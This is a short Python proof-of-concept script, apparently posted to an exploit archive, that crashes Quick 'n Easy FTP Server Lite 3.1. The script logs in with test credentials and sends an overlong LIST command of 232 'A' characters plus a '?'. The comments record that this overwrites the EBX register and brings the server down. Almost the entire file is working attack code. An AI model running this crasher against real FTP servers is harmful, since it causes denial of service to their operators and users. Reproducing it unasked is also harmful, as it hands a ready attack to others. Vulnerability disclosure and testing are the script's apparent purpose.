#!/usr/bin/python
print "\n############################################################"
print "## Team Hackers Garage ##"
print "## Quick 'n Easy FTP Server Lite Version 3.1 ##"
print "## Crash PoC ##"
print "## Sumit Sharma (aka b0nd) ##"
print "## sumit.iips@gmail.com ##"
print "## ##"
print "## Special Thanks to: Double_Zero ##"
print "## (http://www.exploit-db.com/author/DouBle_Zer0) ##"
print "## & ##"
print "## corelanc0d3r (CORELAN TEAM) ##"
print "## ##"
print "############################################################"
# Summary: The "LIST" command in Version 3.1 of Quick 'n Easy FTP Server Lite is vulnerable
# Tested on: Windows XP SP2
# ftp> ls AAAA... 232 A's...AAA?
# Server Crash!
# Only EBX gets overwritten at the time of crash with the string following first 232 A's (in case using longer string).
# No SEH overwrite
# No EIP overwrite
from socket import *
host = "172.12.128.4" # Virtual Windows XP SP2
port = 21
user = "test" # "upload" and "download" access
password = "test"
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
print s.recv(1024)
s.send("user %s\r\n" % (user))
print s.recv(1024)
s.send("pass %s\r\n" % (password))
print s.recv(1024)
buffer = "LIST "
buffer += "A" * 232
buffer += "?"
buffer += "\r\n"
s.send(buffer)
print s.recv(1024)
s.close()
print "---->>> Server Crash!!!"
